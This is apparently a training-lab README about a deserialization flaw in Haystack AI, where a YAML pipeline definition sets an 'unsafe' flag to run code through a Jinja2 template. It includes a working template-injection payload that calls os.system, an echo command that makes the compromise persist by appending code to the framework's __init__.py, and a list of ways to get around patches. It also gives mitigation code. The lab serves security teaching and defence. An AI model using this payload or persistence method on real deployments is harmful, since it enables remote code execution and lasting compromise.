Haystack Serialization Boundary Evasion Lab

September 7, 2026 · View on GitHub

Overview

This laboratory demonstrates a critical Insecure Orchestration Vulnerability (OWASP Top 10 for LLMs: LLM06 – Excessive Agency / ASI02 – Tool Misuse) within Deepset Haystack AI (haystack-ai v2.27.0). Students will explore how the from_dict() deserialization method passes security-critical parameters directly to component constructors without validation, allowing attackers to bypass the unsafe=False boundary and achieve persistent Remote Code Execution (RCE) via framework poisoning.

Vulnerability Class: CWE-502 (Deserialization of Untrusted Data) → CWE-94 (Code Injection) → CWE-184 (Incomplete Input Filtering)
CVSS v3.1: 10.0 Critical – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Author: Jeff Ponte (CISSP, CCSP, CEH) – JDP Security
Research Paper: JDP-2026-005: Architectural Boundary Limitations in Haystack


Core Learning Objectives

By completing this lab, students will:

  1. Identify Serialization Boundary Flaws – Learn how default_from_dict() passes all init_parameters directly to component constructors without stripping security-critical flags, violating the principle of least privilege.
  2. Execute a YAML Deserialization Bypass – Craft a malicious pipeline definition that sets "unsafe": true to bypass the Jinja2 sandbox and achieve code execution.
  3. Achieve Persistent Framework Compromise (Scope Change) – Use the initial RCE to overwrite haystack/__init__.py, demonstrating CVSS Scope Change (S:C) where the infection survives application restarts and process termination.
  4. Analyze the Vendor/Researcher Divergence – Understand the industry debate between "trusted configuration behavior" and "framework-level vulnerability" — a critical threat modeling distinction for AI orchestration security.
  5. Evaluate Mitigation Strategies – Explore application-layer patches (schema validation, monkey-patching, HMAC signing) and understand why they are inherently incomplete without framework-level fixes.
  6. Map Attack Vectors to Deployment Scenarios – Identify 4 real-world delivery methods (API, file, database, message queue) and understand how authentication controls reach but does not fix the underlying vulnerability.

OWASP Alignment

This lab directly addresses the following OWASP categories:

OWASP CategoryRelevance
LLM06 – Excessive AgencyThe orchestration framework grants excessive capabilities to untrusted data inputs, allowing security configuration to be dictated by payloads
ASI02 – Tool MisuseThe OutputAdapter and ConditionalRouter tools can be exploited for unintended purposes (code execution) when their security flags are manipulated
CWE-502 – Deserialization of Untrusted DataThe framework instantiates objects from YAML/Dict payloads without validating embedded security directives
CWE-94 – Code InjectionManipulation of the unsafe flag grants direct control over the Jinja2 execution environment
CWE-184 – Incomplete List of Disallowed InputsThe serialization engine fails to filter or strip critical security parameters during object hydration

Lab Architecture

The lab uses Docker containers running haystack-ai v2.27.0 with a deliberately vulnerable /chat API endpoint that accepts pipeline definitions via Pipeline.from_dict().

StageVersionunsafe Flag BypassPersistent Compromise
02.27.0❌ VULNERABLE❌ VULNERABLE

Key insight: The vulnerability is architectural, not version-specific. All versions supporting the unsafe feature are affected. The vendor has classified this as "trusted configuration behavior" and no fix is planned as of the latest release (August 2026).


Quick Start: Interactive Training Wizard

The interactive_trainer.py provides a menu-driven CLI that walks through all exploitation scenarios with built-in container management.

cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/haystack
chmod +x interactive_trainer.py
./interactive_trainer.py
OptionLessonDescription
GGuided Training CourseAutomated auto-pilot mode that runs all 6 lessons sequentially
1Lesson 1: BaselineVerify the framework is clean and unsafe=False by default
2Lesson 2: YAML BypassLoad a malicious YAML pipeline that flips unsafe to true
3Lesson 3: Full RCEOverwrite haystack/__init__.py to achieve persistence
4Lesson 4: Scope ChangeVerify the framework is permanently compromised
5Lesson 5: MitigationExplore patches and their fundamental limitations
6Lesson 6: Attack VectorsMap the exploit to 4 real-world deployment scenarios
IIndustry PerspectiveView the vendor vs. researcher positions on serialization boundaries
CStart ContainerLaunch the Docker container
RReset ContainerStop and rebuild from scratch
LView Container LogsInspect container output
HShow GlossaryView CWE and terminology definitions
PWhite Paper SummaryView the research paper abstract
WWrite ReportSave lab results to a JSON report
XStop ContainerStop the running container
QQuitExit the trainer

Interactive Features

  • Auto-fill hints – Press Enter to use the default YAML payload for each lesson.
  • Multi-line paste support – Paste custom YAML or JSON payloads.
  • Real-time evidence – Each lesson displays the raw HTTP response and explains the result.
  • Auto-pilot mode – Run ./interactive_trainer.py --auto for a fully automated guided course.

Exercise 1: YAML Deserialization Bypass (Lesson 2)

The core exploit sends a malicious YAML pipeline definition to the server. The "unsafe": true flag is passed directly to the OutputAdapter constructor without validation.

The Malicious Payload

components:
  adapter:
    type: haystack.components.converters.output_adapter.OutputAdapter
    init_parameters:
      template: |
        {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}
      output_type: str
      unsafe: true

Why It Works

The root cause is in haystack/core/serialization.py:

def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
    init_params = data.get("init_parameters", {})
    return cls(**init_params)  # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED

There is no filtering of security-critical parameters like unsafe. The framework trusts the serialized data implicitly, violating the security principle of never trusting input at the deserialization boundary.

Expected Output

[VULNERABLE] SERIALIZATION BYPASS SUCCESSFUL!
  EVIDENCE: The unsafe flag was mutated to true via untrusted YAML.

Exercise 2: Persistent Framework Compromise (Lessons 3-4)

After achieving RCE via the serialization bypass, the attacker can append Python code to the global haystack/__init__.py file:

echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py

Scope Change Demonstration

This creates a CVSS Scope Change (S:C) — every subsequent Python process that executes import haystack will run the attacker's payload synchronously. The compromise survives:

  • Pipeline deletion
  • Application restarts
  • Container reboots
  • Process termination

Verification

# Clean Python process - no pipeline loaded
import haystack  # Immediately executes the injected payload
# Output: !!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!

Exercise 3: Attack Vectors (Lesson 6)

The exploit payload is identical regardless of delivery method. The attack vector depends on how the framework is deployed:

ScenarioDelivery MethodPrior Access RequiredAuthentication Mitigates?
Direct API CallHTTP requestNone (if public)Controls reach, not exploit
File-Based LoadingFile writeWrite access to target pathVaries by path
Database PoisoningDatabase modificationDB access or SQLiBypassable via SQLi
Message Queue InjectionQueue messageQueue network accessNetwork-level only

Authentication Clarification

Authentication controls who can reach the vulnerable deserialization code, but does not fix the vulnerability itself. Once an attacker reaches from_dict() or from_yaml(), the exploit works identically regardless of authentication status. This is a critical distinction for security architects designing defense-in-depth strategies.


Code Review: Why the Serialization Fails

The Vulnerable Code Path

# OutputAdapter.from_dict() - Lines 161-179
def from_dict(cls, data: dict[str, Any]) -> "OutputAdapter":
    init_params = data.get("init_parameters", {})
    init_params["output_type"] = deserialize_type(init_params["output_type"])
    custom_filters = init_params.get("custom_filters", {})
    if custom_filters:
        init_params["custom_filters"] = {
            name: deserialize_callable(filter_func) if filter_func else None
            for name, filter_func in custom_filters.items()
        }
    return default_from_dict(cls, data)  # LACKS UNSAFE FLAG STRIPPING

The Deserialization Sink

# haystack/core/serialization.py
def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
    init_params = data.get("init_parameters", {})
    return cls(**init_params)  # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED

Audit Confirmation

# Audit confirms absence of security flag stripping:
$ grep -n "pop.*unsafe\|unsafe.*pop" haystack/components/converters/output_adapter.py
# NO OUTPUT - Mitigation absent

$ grep -i "unsafe\|security" haystack/core/serialization.py
# NO OUTPUT - Security validation absent in serialization engine

The Architectural Flaw

The vulnerability is not a simple coding error — it is an architectural design issue with four components:

1. Unvalidated Input Routing

default_from_dict() passes all init_params directly to component constructors without sanitation. This is a classic Confused Deputy problem — the framework trusts the payload's authority over its own security configuration.

2. Missing Flag Validation

Core components such as OutputAdapter and ConditionalRouter do not strip or restrict unsafe flags during deserialization. The security control is implemented as a standard constructor parameter, giving it identical authority to any other parameter.

3. Insecure Data Processing

The serialization logic merges application security configurations with untrusted data ingress. There is no separation between "system configuration" and "user data" at the deserialization boundary.

4. Implementation Lifecycle Gap

The unsafe feature was introduced in commit 3e3f79b9 (September 2, 2024) with release notes explicitly warning it "could lead to remote code execution," yet no corresponding safeguards were implemented in the from_dict hydration pipeline.


The Whack-a-Mole Problem

Every application-layer patch creates a new bypass vector:

RoundPatchBypass
1Strip unsafe from OutputAdapter.from_dict()Use ConditionalRouter.from_dict() instead (same vulnerability, different component)
2Strip unsafe from both componentsUse Pipeline.from_yaml() which uses a different deserialization path
3Patch all known deserialization pathsAttacker disables the patch if they achieve code execution through another vector
4Deploy schema validation at the API gatewayAttacker finds an alternative ingress path (database, message queue, file system)

The root cause is architectural, not a patch gap. The framework lacks a centralized validation layer that strips security-critical parameters from ALL deserialization paths at the single entry point (Pipeline.from_dict()). Until the framework implements this, every patch will be incomplete.


Mitigation Strategies (Appendix A)

Application-Layer Patches (Temporary)

Option 1: Monkey-Patch from_dict()

import haystack.components.converters.output_adapter as oa
_orig = oa.OutputAdapter.from_dict.__func__

@classmethod
def _secured(cls, data):
    if "init_parameters" in data:
        data["init_parameters"].pop("unsafe", None)
    return _orig(cls, data)

oa.OutputAdapter.from_dict = _secured

Option 2: Pre-Sink Schema Validation

from jsonschema import validate, ValidationError

SERIALIZATION_SCHEMA = {
    "type": "object",
    "properties": {
        "init_parameters": {
            "type": "object",
            "properties": {
                "unsafe": {
                    "type": "boolean",
                    "enum": [False]  # Strict enforcement of safe execution
                }
            }
        }
    }
}

Framework-Level Fixes (Required)

  1. Parameter Stripping: All from_dict() methods should strip security-critical parameters like unsafe before passing to constructors.
  2. Centralized Validation: Validate at Pipeline.from_dict() rather than each individual component.
  3. Explicit Opt-In: Unsafe mode should require code-level developer intent, not data-level configuration.
  4. Cryptographic Signatures: Verify serialized data integrity before deserialization.

References & Additional Reading